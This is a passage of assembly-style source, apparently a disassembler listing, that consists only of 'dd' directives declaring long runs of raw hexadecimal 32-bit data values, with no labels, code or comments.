		dd 51603C07h, 3203B5Bh,	3CD26F43h, 49804EB6h, 44859988h
		dd 0A40255C3h, 3DB07DBEh, 0BB6E9061h, 504A70A2h, 4B71896Fh
		dd 4F3BCB1Dh, 0D881D9DAh, 6EFAF3CEh, 3929B9CCh,	38C18DB5h
		dd 79122DF8h, 436CC4ADh, 0FB23F88Ah, 0BD994AE5h, 8C19ACB2h
		dd 0B4090990h, 7858525Fh, 0DCBCB424h, 0EAE15B04h, 35C13A2Fh
		dd 0F000629h, 3FE10D80h, 0BDFEDBD8h, 0F54BEBECh, 25F58CBh
		dd 0FFF305E2h, 8028B755h, 0D114FE64h, 3A0AB217h, 0E381B509h
		dd 0B7C18B8Bh, 0BB8080FAh, 758B56B2h, 6FC8285Ah, 1C9870EBh
		dd 40ABE1AAh, 9A51E3E5h, 0C348991Eh, 232EC049h,	0E86F685h
		dd 44B2B1A4h, 101F6AA0h, 0AC09A8A1h, 755B812Ch,	22EF9690h
		dd 576E5D38h, 0A9E9A101h, 9B014B2Ch, 0B29D28C2h, 449330B4h
		dd 935EB5h, 216CB957h, 5C00E93Fh, 1D07B00Dh, 0D77ECBh
		dd 0E4A3FE10h, 0AB922FF9h, 0C05DB700h, 0D67BDC62h, 33660005h
		dd 9847ADD8h, 520020CAh, 69875B1Eh, 45F0CBh, 0F9D5F15Fh
		dd 0B5630D40h, 0FC7838h, 0B1BE31C2h, 7091E31Bh,	0B3EA0022h
		dd 85A44E1Ch, 72039C4Ah, 0C2D3D4BDh, 0F9A0B89Ah, 0E91B0007h
		dd 0CF9E273Bh, 0F8013521h, 0A916B25Dh, 0AA215086h, 7E526DD0h
		dd 877316CCh, 66E403F8h, 0AC8807Ch, 0C103E267h,	30D3722Bh
		dd 6F1EC8E6h, 0EF010020h, 0BD5717BEh, 7E00168Ch, 349C5229h
		dd 14CB74h, 4C5B43FAh, 1032026Bh, 0A27C6A28h, 69B1DF00h
		dd 0F026C91Bh, 0C89A01A5h, 0AED87B22h, 0A88680DEh, 9B2A5385h
		dd 0FD78C0C5h, 0D542C331h, 33B7CD00h, 0F0FE9398h, 565B5AD7h
		dd 7F90AF44h, 6060812Ah, 9C764AE9h, 0DE6075C6h,	0EC260C11h
		dd 0A4B13768h, 40061442h, 0DE7FB60h, 0BE3B5A77h, 0C99D9301h
		dd 41CC4523h, 0A32F0091h, 56F78D34h, 0C70E293Fh, 5723EA6h
		dd 0F84114D2h, 0E5422CC6h, 0F7029F8h, 0B3BDF48Eh, 0FBFF00F3h
		dd 9A766811h, 65FFE300h, 32DD7A2Dh, 594500E4h, 4E98840Bh
		dd 0F60FF01Fh, 20709A4Fh, 58AA64E5h, 30E63B8Ah,	62885A80h
		dd 0C059B53Bh, 0E1AE1800h, 92213364h, 7B6800D1h, 1AF6E891h
		dd 0DF005563h, 4E5AD827h, 3033451h, 0D753A171h,	0FE11B04Ch
		dd 3700B28Bh, 16FB95Bh,	0F3A0DC7Bh, 9AA83C55h, 0BA00C822h
		dd 229E50Bh, 640ECE3h, 0F15E1464h, 7D006AF0h, 50AC5FB5h
		dd 1335CDDh, 8FE93B6Fh,	8072872Ch, 2331A944h, 326F09Ch
		dd 2480ACEBh, 1F581EB3h, 3AED2487h, 5AF59440h, 0C564008Ah
		dd 0D68985F3h, 0F909B834h, 1E1739Bh, 0ECDC4706h, 8FFBC488h
		dd 6B00A790h, 94525A07h, 0D301CF7Eh, 191C5FE3h,	99307C2Dh
		dd 0E4101F8h, 0F112C55Dh, 0E78080AEh, 276E1F0Bh, 0D5EC0002h
		dd 98B5B49h, 0B030E9C5h, 18FF4C1Ch, 32E00012h, 26A8DC0Eh
		dd 0E100C468h, 67C15C48h, 61D57ED9h, 0EBDB5004h, 7596DCB8h
		dd 0B66F4A30h, 5FC7AA1h, 0D07BAD57h, 0A5AE40B3h, 0DE88374Dh
		dd 0DB153401h, 91876D7Ch, 41D8E280h, 0F3EF9E8Ah, 0B0DE610Ch
		dd 17663465h, 0CB546BCh, 191567F6h, 0F7A07602h,	62AC491Bh
		dd 348E02B4h, 7AE02E01h, 0BFDBB18Ah, 0F1737B00h, 5F37E85Dh
		dd 6C4D0035h, 0CF69741h, 0FD004210h, 286706ECh,	0EAA9D03Ah
		dd 9A69009Bh, 0BAC5133Dh, 273E46ACh, 491A80BBh,	6D6816A3h
		dd 65D60090h, 3EB2AEDDh, 500F09E1h, 80942D3Dh, 4AF5403Ch
		dd 0F4720A98h, 89A54Fh,	4EE60D4Ch, 0E402336Ah, 0D07F2EF8h
		dd 0C21C602Ch, 0B27CC0h, 0EE3C565Ch, 5EF364FCh,	60402FCEh
		dd 7D1CF07Eh, 0D8730076h, 0DEA096FEh, 321FF1F4h, 2444F7E3h
		dd 0F2804919h, 44221Eh,	0F34A9DC8h, 0AAB80BDEh,	6FF57B03h
		dd 1EA7CCh, 61514956h, 0D7E1080h, 4D073100h, 600EE4C6h
		dd 0F7E900ACh, 0A8AEA6EFh, 24006BDAh, 12BDEC06h, 0E83BA50h
		dd 0CE4F454Dh, 80314344h, 9C9815F1h, 6BD6000h, 0A578ABB3h
		dd 9B3601AFh, 0DAF658E5h, 79D05744h, 0E00E0580h, 0F2E45B9h
		dd 610205C7h, 84FEC8F6h
		dd 13C1DEA8h, 67DC580Ah, 935209F9h, 0D80E77Dh, 0D4963960h
		dd 0E0F3E09h, 9E500E04h, 0FC8C2546h, 389203DAh,	0C877F14Ch
		dd 842780DCh, 86C7B16Dh, 308792Ch, 50E71C96h, 4F484A92h
		dd 8E00665Ch, 0DE05914Fh, 0D8B4DBh, 0F4FC109Eh,	0C879D2A5h
		dd 0A02A286Ch, 0FE96010Ch, 7EB3045Eh, 60B5F07Fh, 0E709D900h
		dd 0DB538A9Dh, 59350025h, 9BC2BE20h, 0C060CB78h, 0C66DE328h
		dd 51083AE6h, 0B90017BEh, 8756B72Ch, 0E801DDF4h, 0EB4C2A1Fh
		dd 32802346h, 0D8867268h, 0AB00A252h, 0B82FE113h, 0E780DE5h
		dd 9C389E15h, 18E92A41h, 4EA4812Dh, 8957D954h, 1C0BF180h
		dd 740720E1h, 0D2382E00h, 0ABDFF1E2h, 6B10ABFh,	0BEC4C0h
		dd 0C20D3C96h, 6C1D0AE0h, 7800DCC7h, 0A64C1E39h, 28441487h
		dd 2E0FB4CBh, 4840853Ch, 88B1AD11h, 9F664539h, 0C643F6D1h
		dd 0FDBA7047h, 0B45A7984h, 8AB40039h, 96573Fh, 0B146F17Fh
		dd 47381FB7h, 0B2326B04h, 0B9905115h, 4FBA248h,	0C37A9454h
		dd 0FA1DD18Ch, 6559C0D6h, 0E81A1405h, 12C02F69h, 0F4CC904h
		dd 9A848922h, 3E064F92h, 7D6ED3A2h, 0F2DFB46h, 222075F3h
		dd 3EB995ECh, 19148A2Ch, 0C940450Eh, 0E8FD0032h, 135610FAh
		dd 17E63C8h, 214209D7h,	376B705Fh, 389DB3Fh, 0E9779D4Dh
		dd 7A5BB363h, 1F55001Dh, 0FC36BAEh, 0AA029A6Eh,	0A84267CCh
		dd 0ABBEC0F1h, 0D78B0059h, 0E994333Dh, 4FB8313Fh, 5A6E6F10h
		dd 89B4CD00h, 0FB0A33D9h, 520BE51Dh, 0A7C61080h, 0F4C14468h
		dd 645E280Fh, 0BE703DBCh, 7FBBC500h, 0F913D705h, 1BC0AC00h
		dd 2FCAD47h, 1FC30470h,	0A41054F5h, 0D4B5486Ch,	83815D49h
		dd 8F5404ECh, 78DF24CDh, 0B9682D06h, 2C5A5ED2h,	0D91329EAh
		dd 870643EDh, 0BF245Ah,	0B9515644h, 800028AFh, 3E9C15Ah
		dd 381D9F7h, 0FC7093F1h, 0C0BF497Ah, 3E54163Dh,	59CE8901h
		dd 5598FABDh, 7DF531F8h, 508B625Eh, 3580C481h, 895A5552h
		dd 508513Ah, 592434FFh,	0F8B1123h, 0E389538Ch, 0BB58C38Ah
		dd 1C2043h, 0FB8B46E9h,	26B67AFFh, 0B4B80224h, 61905F2Dh
		dd 23003E0Bh, 0A88F21Fh, 0E12E0Fh, 494A63F8h, 13C4556Fh
		dd 816B9A3Fh, 8A1C338Dh, 35D03F5Bh, 112000A2h, 7B0910A8h
		dd 8407D1E0h, 8F994061h, 0B9F30A40h, 392E0042h,	515279B2h
		dd 710044ECh, 0F5F969Eh, 17EBE3h, 0C019197h, 10C17FE1h
		dd 0D1320E00h, 0FACF6C78h, 4EB3023Ah, 295B13B9h, 0E88277C0h
		dd 0C9188D00h, 0E91244B6h, 1CBA7C1Dh, 3E4CBFEBh, 1AEA028Bh
		dd 6BB20700h, 9900D033h, 5D3DCF01h, 2D296F76h, 0A2660BFEh
		dd 955BB5F2h, 565060C1h, 525C8C6Fh, 64D55F5Ah, 0C5B84AFDh
		dd 0E292080Eh, 0BA2E40B5h, 27E78088h, 0D4DB6AF0h, 23E9F78h
		dd 0B85C23F7h, 7EC12AA7h, 0EB9B3F6Ah, 39FBAEC0h, 0C3980359h
		dd 0F4F68C80h, 9DD240BDh, 0E21F4E5Dh, 0A7033CBCh, 52BDABD5h
		dd 0A48FE4F8h, 8F449598h, 1C5C9982h, 13493EDCh,	0E781413Fh
		dd 7929D2E2h, 40DB2A6Ah, 6D266BC0h, 0BD250902h,	0FB57CA1Dh
		dd 1C827838h, 37BD014Bh, 2811E1C4h, 0DEB73B0Fh,	0F6DBD1A5h
		dd 5C1BA870h, 0AE04AC18h, 0AE968ACBh, 0D38DEB98h, 0E2C3AC66h
		dd 0B9F42C95h, 9D023244h, 9E00C937h, 7A6422E9h,	0F19D1033h
		dd 0F900E13h, 34FA5286h, 70F9E9C9h, 0F0970C90h,	0FC07A370h
		dd 868056ECh, 941881CCh, 11D0D500h, 0ADBA1540h,	0CB4901A7h
		dd 0F12DFE8Fh, 0FC6E7E90h, 7414FB5Eh, 108D125Eh, 489275EFh
		dd 9A242B6Ah, 547B6307h, 0F7EDE922h, 0F5E0591Ch, 37978790h
		dd 0ADDF17E7h, 509DC119h, 285A0196h, 0BB669CC0h, 2B7C294h
		dd 771210A8h, 3577EB3Ah, 0BA7605ECh, 9E7BC90h, 7008F8BFh
		dd 89E508BFh, 0FD3F4F4Bh, 92199104h, 6EFB9010h,	2674009Eh
		dd 670C0F60h, 9510E7E8h, 8000A1F8h, 0A5BA5D6Ch,	4B26CFF4h
		dd 5438519h, 0F1A99DC9h, 0F0246AD7h, 1DCE7ABFh,	6D56F9C6h
		dd 0E45009E6h, 13074831h, 7FDC19CBh, 1846DEh, 15E0DE1h
		dd 17BABB68h, 0B94CEAD8h, 0DE87Ch, 4B57188Ah, 62CB46FCh
		dd 505A548h, 22CE059Bh,	0FF05ACA8h, 0B731F1B5h,	93F4A0B7h
		dd 0E9451397h, 0E01F7BFh, 80D7C1DBh, 64AA55C7h,	1231B738h
		dd 0F5B0120Ah, 0CB2ABB98h, 0D015B600h, 77219BD1h, 0A33F1C5Fh
		dd 9734C2DAh, 0BD8270E6h, 0D9FB1361h, 0BF7CB300h, 0FDF1734h
		dd 29FA616Dh, 49E44D23h, 811541B0h, 419873Ch, 25BD8971h
		dd 0C24398BEh, 5527F2A6h, 325F791Bh, 0F9DD2C2Fh, 0EB8086FBh
		dd 2423AE1h, 979CB15Eh,	53C581A0h, 0FDD62BACh, 709C432h
		dd 81C82B04h, 0F12DB3D9h, 0C5A160D1h, 76E12864h, 52AABF41h
		dd 40C13B14h, 8B00343Dh, 4C714485h, 897FC9BDh, 893F19E5h
		dd 0BE0C3E85h, 5F3B6DB1h, 57B135D0h, 0D666ACA0h, 0FC271FB2h
		dd 38006AD9h, 0B530C7B3h, 0B16000A8h, 0B9EA63B6h, 8E5B22FBh
		dd 891F3188h, 1C656EFCh, 52075ACh, 5A958928h, 14EA8483h
		dd 206614F7h, 26A06CB6h, 0D74893D3h, 9D2B0552h,	0F6EF1BB1h
		dd 8718E3A4h, 23804F08h, 8909F51Bh, 0B98DE791h,	9442F965h
		dd 0DF14CAD9h, 0E6502A0Bh, 0A47833B3h, 65F23720h, 91A43B6Ch
		dd 0C86EABFCh, 3710A509h, 0FD449A5Fh, 2B00C451h, 5880BFC0h
		dd 0B539770Ah, 0ACF8EC05h, 4EEF5FFh, 7228197h, 337F0B60h
		dd 209DF2F4h, 61130AADh, 7BAB880Dh, 9D0F3D3Dh, 0C8A830Dh
		dd 707EDCFh, 2F916AAh, 77267D0Bh, 0B5951F16h, 62A3007Eh
		dd 20C6128Dh, 0BBFC4401h, 726F8EA4h, 0E19D089h,	95559677h
		dd 0F340E54Dh, 12F5469Eh, 1E8FB456h, 0E3FD8B56h, 4676FC59h
		dd 0A6B20119h, 17A48C34h, 500BC560h, 9DD8EFC9h,	0C30032D1h
		dd 13C8526Fh, 2F4505D5h, 0A879FFEFh, 0ED478106h, 13F8414Ah
		dd 0F6EE3980h, 5B1BF385h, 0B9AEED5Fh, 93DBE600h, 1B522D87h
		dd 4F171AC5h, 1A4B4B8h,	0A18E9FFFh, 15246E30h, 86C045DBh
		dd 0E46218CFh, 8D297416h, 0BB49C0EEh, 0B12D5DE3h, 903BC65Ch
		dd 0EC0E09B7h, 7D0FE1FFh, 137114CBh, 0F70498C2h, 0E200FF3Dh
		dd 2CC7CF7Bh, 0CDD74C52h, 0B82BCD13h, 5D7EE271h, 946077EFh
		dd 25098E16h, 158F99Bh,	695094B5h, 526D6317h, 9598FC0h
		dd 8234006Ch, 0B7FE295Ch, 0C1BD60EDh, 0F62E0F6Eh, 9CE65F4Fh
		dd 0E60F5AA0h, 8038160Bh, 0F9EDD7E1h, 0BF47BCC0h, 0DD0116CDh
		dd 0EE83E414h, 0D80DD395h, 0AF5A32A0h, 0A703918Dh, 0E3254F0Ch
		dd 10624866h, 81012B41h, 2457DCDFh, 63356E12h, 5D73B509h
		dd 0EBF7DC04h, 3F94CCh,	4D19E20Eh, 6E939D1Fh, 680456FCh
		dd 0BBD1F010h, 3AE4D9AAh, 0F82D61E2h, 8522BC72h, 6DFF611h
		dd 5C447E68h, 0DA5A10D1h, 0BF31F6C7h, 82202EC2h, 0EB609579h
		dd 0CDBDE832h, 60196465h, 1606C4B8h, 0B34131A4h, 38A84AD1h
		dd 13FF374Bh, 7BCD5DE9h, 70EF01CAh, 0C58531B4h,	0A8CE7DFAh
		dd 5F8D29B5h, 351FF63Dh, 0BF4BD840h, 14ACDC0Dh,	0FA800F60h
		dd 0E5B081CBh, 0BAB52979h, 0AFB7FFBDh, 4EAAB701h, 9A3BDEFEh
		dd 0C015C8A8h, 0E951CC2Dh, 0AC80F6B9h, 0CBBA4332h, 0AACD4C26h
		dd 0E1358513h, 37DFDA4Bh, 0A6FF801Ah, 0C5BD333Fh, 0C9D255Eh
		dd 0E22E4E35h, 765100Ch, 0A550961Ch, 50C05AEDh,	1442704Dh
		dd 0CE7DC659h, 0A8F2BF16h, 61776563h, 72D4FDACh, 0E8C20A0Bh
		dd 3F9806Bh, 17BBC01Fh,	67639909h, 6172D650h, 6E377088h
		dd 46B5BCCh, 0E6822636h, 59C598E3h, 0DEB3AD3h, 6BAF8B55h
		dd 3EBE3DC0h, 6E16A451h
		dd 0DC142461h, 8EC2BB80h, 60FC4C16h, 0B55E4B5h,	5306CD9Fh
		dd 80E046DDh, 0C405599Fh, 0FD858DE1h, 92DF8D3h,	8451C515h
		dd 50E59ADFh, 900D405Fh, 0ABE9BF1Eh, 4BBC1D92h,	0E5496F1Eh
		dd 1F700C73h, 4F2903FFh, 12A63857h, 867E3BD2h, 93D72547h
		dd 5F561F02h, 0CF812038h, 0CEC5D40Bh, 5929D37Eh, 58C01815h
		dd 8C5F0BEBh, 33408DFCh, 170A69E8h, 337438DFh, 0A72B88Fh
		dd 3157A8F8h, 0EFF912F8h, 0FD5A5F3Dh, 0CF1BCDC0h, 5EB7A0E7h
		dd 8C536B2Ch, 81373498h, 647F03F3h, 44E93AF9h, 6EEF145Bh
		dd 61700B1h, 67BDC4C5h,	0A5F448F1h, 0E3163D16h,	815BBA96h
		dd 7AFE1EFAh, 503546Eh,	9F8AEA9Ah, 2F5C0C2h, 501D5D9h
		dd 0A37AB861h, 60ABA4A9h, 7F10FD6Ah, 3526C300h,	0E82308FCh
		dd 9AB8814h, 7488BE01h,	6EF5EE91h, 8A6F45FDh, 75C450E1h
		dd 8CF30C4Eh, 0F9036EC4h, 96DE86Ah, 0E152FE7Ah,	0D007B8E4h
		dd 54794527h, 0C09778F3h, 919B5A3h, 0B4EA17Eh, 299F26F9h
		dd 0B753D956h, 15AC8DADh, 87B2E8Ch, 0FB46AD4Ch,	25C18180h
		dd 6078CE9Dh, 81C82C60h, 0C000D1EEh, 96615B9Fh,	797E1BFh
		dd 0B35055B5h, 4CCD9991h, 18EFF2C0h, 76581782h,	6BA24Dh
		dd 3BFC8E73h, 2230749h,	0AAA640ECh, 8DB0C517h, 5B5BFC57h
		dd 6BB7708Ch, 73FD937h,	6917AE01h, 8C43AC8Fh, 74EE85FDh
		dd 0B905EBEFh, 18B8986Dh, 0D62530D3h, 9600FFE6h, 6BE7E0E5h
		dd 277C4E18h, 0B21A79B7h, 80C2E85h, 9180071Eh, 23E1B23Ch
		dd 0C5155A26h, 0E00FE6E7h, 5C643E3Ah, 2B0BA496h, 90F67185h
		dd 0D9F92CBBh, 0BDE4504Bh, 2E1258C1h, 15F213F6h, 0FA3E0330h
		dd 6C0109CBh, 25DC7066h, 0C9E3E8h, 4C74B4EFh, 6008BE05h
		dd 0FA40BB66h, 25B75016h, 0F62E7BB1h, 0FDE0E2C7h, 1B915935h
		dd 82423B80h, 0E913C2EAh, 6BEF2E1Eh, 82D85A5Ah,	3C894C76h
		dd 0CF591227h, 0CDE74DC4h, 8BB0FBB0h, 43283F71h, 181DA696h
		dd 37AF5042h, 0A1F3ECDh, 0B14A45Ah, 59D32AE9h, 0D9181779h
		dd 0D397A105h, 0E0AC15B3h, 1915BCD4h, 0F93332Eh, 0B7962591h
		dd 250E4CA7h, 582A5E0Ch, 344081BDh, 0CC419751h,	8D286B5Bh
		dd 0E73AE16Fh, 1883A28Eh, 7C00BE95h, 9F0F8918h,	0B53273BCh
		dd 494DB0BAh, 7AAE3560h, 0C4885AB1h, 9E8EAEAFh,	14298200h
		dd 0A7AA96BAh, 3C98C00h, 0FB5048C2h, 0CBCB5A0Bh, 260D5090h
		dd 80E9A016h, 8C2E92B1h, 952129C0h, 0BAC1120Dh,	5601096Eh
		dd 7B9223EDh, 0BA4241Fh, 1E649D71h, 0DCFBDF59h,	1040B52Fh
		dd 4F41B290h, 2730ADCEh, 416D5A52h, 3AFAF9D8h, 7D9069C2h
		dd 3ED42609h, 0E908174Ah, 0BD0B090Ch, 5530AB57h, 29006ABDh
		dd 0C61495BBh, 5857B842h, 391237CBh, 0A70FC833h, 0CAAB043Bh
		dd 0E6B838A9h, 57223A12h, 2D26EBE1h, 0A603FBF4h, 104135CFh
		dd 0B0895F8h, 41E59D29h, 643C50D1h, 8267DB5Eh, 57DB2F31h
		dd 9D12A53Dh, 0F17C5B9h, 0D8E5C88Dh, 53E01997h,	120AF78h
		dd 0E28D5F4Bh, 0F1393F2Ch, 7EF989A7h, 92A8FF92h, 9F0C04Ah
		dd 294B15BDh, 8025C68Eh, 0B683D7D3h, 0E8880AA2h, 15870Dh
		dd 1EEDF377h, 0E176D44Ah, 0B143BF05h, 0BFDB026Ah, 12D97C0h
		dd 55B558Dh, 0C00013A7h, 592E337Fh, 4A00969Ah, 0F70FD15Ch
		dd 905097BAh, 0B7F80437h, 0AA906144h, 4F0B526Eh, 84DC3BF8h
		dd 0E9DABFC0h, 0B11C9708h, 5B66B149h, 1F2AB3C1h, 23F4C3EDh
		dd 80770921h, 72732CDFh, 2C35A7h, 636E35C8h, 48B81CE2h
		dd 53A19524h, 87A86044h, 0BAD9C09Fh, 28853519h,	0C9F65E00h
		dd 75201DC5h, 729A973Fh, 7395D378h, 0E35D7A04h,	0DD328FCAh
		dd 0A76C5C85h, 91D8845Bh, 60761D75h, 0E6719280h, 7BC2456Fh
		dd 0CA99BADh, 1E0EDA5Bh, 0A7786A59h, 0FF55F906h, 1236EFFh
		dd 0A3132E4Dh, 86E0D54Eh, 2CC490D8h, 43C82911h,	0ABB50AF9h
		dd 80DE89DBh, 6675CF19h, 924B8ABFh, 29D25199h, 0CF4F8454h
		dd 890B4153h, 75C2B028h, 70401F1Ah, 0E68015B5h,	0CFF89F70h
		dd 9BF0140h, 204CB874h,	0B982A5F7h, 36923A89h, 2245E30Ch
		dd 257A98D5h, 45C43115h, 0BA1EA69Eh, 497F712Dh,	1A18DCD6h
		dd 9BBC157h, 40DD50D0h,	9DDEA175h, 897B1F01h, 3DE2B0AAh
		dd 0E37482h, 9A1449D6h,	60347A83h, 58804D02h, 0FE76F864h
		dd 9CD200EBh, 0B529C82Bh, 6D13FD33h, 1DC610D1h,	75E9132Ah
		dd 64A08335h, 554C0050h, 98F38147h, 694B8A61h, 0D9BD5790h
		dd 81028632h, 0B10F40D7h, 540C1276h, 12642DC4h,	44584169h
		dd 59972A65h, 0EBB744C0h, 29297F32h, 0A51E81DEh, 55B295A2h
		dd 0F2A7EED3h, 8007905Bh, 4BCB8064h, 1B5898E2h,	73BF7C44h
		dd 9B6A706Eh, 74A0788Fh, 474C94Ch, 6E65C235h, 88D375B8h
		dd 6400B539h, 0FB6F0287h, 988D22C8h, 2DB92ECDh,	0ECB78CC4h
		dd 0C8C9FCFEh, 0BCDDC311h, 0B3B8A9ADh, 0EA574A32h, 0F5FD62E3h
		dd 1711F335h, 5D3BB081h, 54CC3A7Fh, 1421209Dh, 672562BEh
		dd 0E8C6A058h, 103D970Ah, 8015020Fh, 0FDAE0E53h, 8ADBA372h
		dd 89B5F5A9h, 72801D11h, 15695D55h, 0DE1E1906h,	0F0AED322h
		dd 6D169709h, 0D494BEh,	665B07F1h, 899D0BA4h, 0BAB8194Fh
		dd 750C01AEh, 9DB5BF83h, 0A380232Ch, 3475AC8h, 93026038h
		dd 67F0A95Ch, 0C565BD0Fh, 33E8FCE4h, 4E0BCA4Ah,	8546D9A9h
		dd 0BB337AF0h, 246272Dh, 4699B6FFh, 276FB04Bh, 395B2EFDh
		dd 63CF8180h, 9007E10Ch, 9F0BF88Ch, 0A6AC6971h,	2BF427D6h
		dd 0D7001C51h, 0B3217F3Eh, 0B06902FEh, 54C25789h, 7512E5Ch
		dd 0B28E1214h, 0A5138808h, 0D01AE445h, 0D9AB02A1h, 70215B60h
		dd 33F8F57Ch, 2BB8DD04h, 8CFB2DBDh, 8F5F0F31h, 0B13CB8B3h
		dd 0BBCCC0CAh, 192536E8h, 27AF6934h, 0EC40F87Bh, 39F2B316h
		dd 0BB2AF580h, 7DE3C933h, 0ED858909h, 4B245103h, 7CD046F7h
		dd 56599765h, 818A356Bh, 0A9E947A0h, 1C96B29h, 15AC27Ah
		dd 18BF9000h, 7AFA007Eh, 60BB5350h, 493F286Eh, 3F58595Fh
		dd 6A079318h, 9806FFBh,	0E68E65AFh, 201B9019h, 6804218Dh
		dd 7ED9D847h, 0D7723CE5h, 0D128BE00h, 0AF216343h, 93CE3801h
		dd 0DE717391h, 0DAB1496Ah, 5F39BA7Fh, 0DBB85700h, 37B57EC6h
		dd 0C2D30C09h, 144061A6h, 4DBD1203h, 0D937FD10h, 0B63EFA82h
		dd 0C92276F4h, 3AC2451Ah, 0F9255EE3h, 0CF75E862h, 0AA656130h
		dd 0DAB0F454h, 76AE4E35h, 0DB00A889h, 4F619C8Fh, 0ADE1AD0Ah
		dd 1D817069h, 3A4D4099h, 977D4DB0h, 35F5A462h, 891491B2h
		dd 0BD57D8FAh, 352FB147h, 53B30001h, 8976B90Fh,	0CD2469BAh
		dd 0C052B518h, 251EFB3Dh, 0DC622C5Bh, 5C8410B7h, 4BEC50E0h
		dd 73403F80h, 0CC02C676h, 964CF741h, 0FF6A7D64h, 52B945DDh
		dd 68439075h, 15F32C52h, 0A879280Dh, 0FDF0AD77h, 0A378127Ah
		dd 19E65E9Fh, 4FCDDEE0h, 95E9AB09h, 0B9127D31h,	21109876h
		dd 55BB9001h, 3B41840Dh, 56291CC9h, 1E123CB8h, 0D4F66C0Bh
		dd 8B301BB2h, 946400A4h, 95C06F41h, 610EC781h, 967E801Dh
		dd 0B181CBDBh, 3A4CA9DBh, 9F0194F0h, 0BEEFED59h, 90532992h
		dd 4113B04h, 5DE274ACh,	9F0D3D7Fh, 0B0D5D88h, 0C181AE2Ch
		dd 281A4D8Dh, 57E98B2Dh, 0DEFFABA8h, 8280D701h,	81BA68B0h
		dd 321CF2E0h, 0E56A1A05h, 7603C77Dh, 90FD8A27h,	7AE446Dh
		dd 313BC49Bh, 5E6AB32Eh, 0D943080h, 0A9096594h,	1D3D5119h
		dd 8F65A556h, 0DE46D911h, 167531F0h, 0BE17CD09h, 59A9848Eh
		dd 0A4F387B8h, 9AB65C4Bh
		dd 0DB803BF0h, 0E3051F7Fh, 386C3642h, 0BD0CF3E6h, 0BFF12269h
		dd 6E3EB225h, 50B5BB7Dh, 0D0BBA75h, 0E2F4D29h, 7512A94Ah
		dd 1791EAB7h, 8BC15980h, 0BD5A239Eh, 0C727C3BDh, 0FE0B3F5Bh
		dd 0B45DCB96h, 3823BF12h, 6A3FE8ECh, 0B3F20B2Eh, 0CDD35F81h
		dd 0A784B080h, 4AA276h,	0EFB22AA0h, 0AFD51D58h,	0C12CEC03h
		dd 17961060h, 0DD28D1D8h, 49046F9Ch, 97AC6587h,	4B7EFCCAh
		dd 31102C56h, 1DE1F976h, 0DB7C742Bh, 0D9F9D711h, 6B79DA27h
		dd 9281762Dh, 0FA1B3A6h, 85E2CF81h, 0DAAA55B9h,	7260D797h
		dd 53BE85Eh, 29C541BFh,	0C1A83065h, 0FA018C22h,	97F0A6B6h
		dd 0ACD4DA18h, 0C36A0172h, 393AD7E3h, 4A442323h, 870FC481h
		dd 0CFB7306Fh, 8995B40Eh, 709553A1h, 0BF04FF78h, 667448DAh
		dd 29C1BDACh, 3E2BC195h, 9AD2A5B2h, 0CD2780DBh,	5FFAA1Eh
		dd 0E4F7F381h, 0E831D2B4h, 0DF8B6980h, 0FA00FBB1h, 0AA90CB81h
		dd 95B6E31h, 7F99BB66h,	0DFBF2909h, 0E2692A8Fh,	0F15CFB23h
		dd 0B994B044h, 6900CB61h, 352DBF96h, 0EF500848h, 8020DB6Ah
		dd 53DF443h, 8CC9093Fh,	4DD262Bh, 8E8A1841h, 0B3FA8A12h
		dd 0E0BF02E7h, 567DEE36h, 122D51CAh, 2D26D989h,	7427BAD6h
		dd 0CA00DEE2h, 4EE4ECA7h, 97F6B0D0h, 1A915535h,	8DA3E880h
		dd 6E0D1EA9h, 0AC0B5336h, 5BEE092Eh, 76EB93D4h,	3607D6CEh
		dd 5F6C5A77h, 0C2E250D4h, 5EE37C00h, 2E53E41Fh,	563938h
		dd 815BE2F8h, 27B37EE7h, 0CF40E3Dh, 0D52AD9E2h,	0D701653Dh
		dd 0FBDE674h, 282AA321h, 708A25EDh, 4A5EF840h, 23C8CD54h
		dd 0B5040149h, 0C6D76BD4h, 8124742Eh, 7A1A418Eh, 6A4A8B9Bh
		dd 0DEC60060h, 0E946FD5Ah, 70B725h, 1F7EB7BFh, 0B7F552B0h
		dd 0C6DFA0D1h, 3320022Bh, 4A11FA79h, 51CD097Dh,	9D898ECCh
		dd 0FCA309C8h, 2033720Eh, 0EF773182h, 0D9C12C97h, 6090092Ch
		dd 0A8A42771h, 0D543D11Ah, 0D40E061Ah, 76612511h, 625BF445h
		dd 0C816F2F6h, 6B8CE8BAh, 6C65D275h, 6DDED349h,	0EEAB1320h
		dd 0B9045BE5h, 0BF9A920Ch, 0BF127484h, 21846C2h, 62E05150h
		dd 51B8B1D5h, 6D24042Dh, 0BBC7C08Eh, 9E4A139Bh,	0AC72C4BAh
		dd 6E2D2895h, 3AEB2EB2h, 20D093CDh, 787D0436h, 0ACAB6807h
		dd 0F51C2B0h, 0C9C87E8Fh, 5E6BB651h, 0FC01DCF7h, 63F17C8Dh
		dd 6E3ED1FFh, 0F0D00010h, 8A406011h, 850F167Dh,	0CF6BED0Eh
		dd 0E8C6C09Bh, 251F2133h, 0F5654041h, 0ED09C43Bh, 0BBB255FAh
		dd 5CD4BBDEh, 5EC02529h, 3CED79CCh, 0CFAFCE00h,	0E09A5B2Bh
		dd 2A820002h, 0A4C0589Ch, 7F09BF50h, 210D761Bh,	79B52902h
		dd 83B855CEh, 9C95F4E9h, 557748C6h, 0C417DB5Ah,	75FC8ECFh
		dd 0BD5F9571h, 42CD09D0h, 0DA4A6802h, 46D6FD56h, 22250916h
		dd 89C29808h, 4EC80B47h, 987F902Ch, 0FECB60h, 24419B31h
		dd 0C6A106BBh, 50057502h, 0F59002B3h, 0AC0028B7h, 5BCC606Dh
		dd 0A962B775h, 0A3CAF654h, 0A5213961h, 256AC970h, 0E16C9B4Ch
		dd 57DA8A25h, 384B186Dh, 1C62559h, 0C4E7F331h, 2BA665D7h
		dd 4F1D2BDCh, 0FDCDA810h, 5059737h, 0AA90DDDBh,	0FBEE88h
		dd 0F2AE7D64h, 0FC50B333h, 709E1502h, 0E296288Dh, 0CE6DDC1h
		dd 34AC5F4Ah, 1663D30Bh, 135DE502h, 40D9EF55h, 0A3554051h
		dd 2BDC2824h, 0CCE7253Bh, 0B3514A07h, 0E122258h, 169B1099h
		dd 2AC62C40h, 30001A78h, 8DAD982Eh, 7BDAD783h, 18B7E6BFh
		dd 0B670E653h, 0DB1322EFh, 760471E4h, 0B81ADDh,	236B1CCCh
		dd 2CD59D12h, 4B7F00E3h, 0C069AD17h, 0B275B587h, 8A7E00C0h
		dd 3D509AABh, 9B04C149h, 24728E31h, 0BFC41AB8h,	411B8F8h
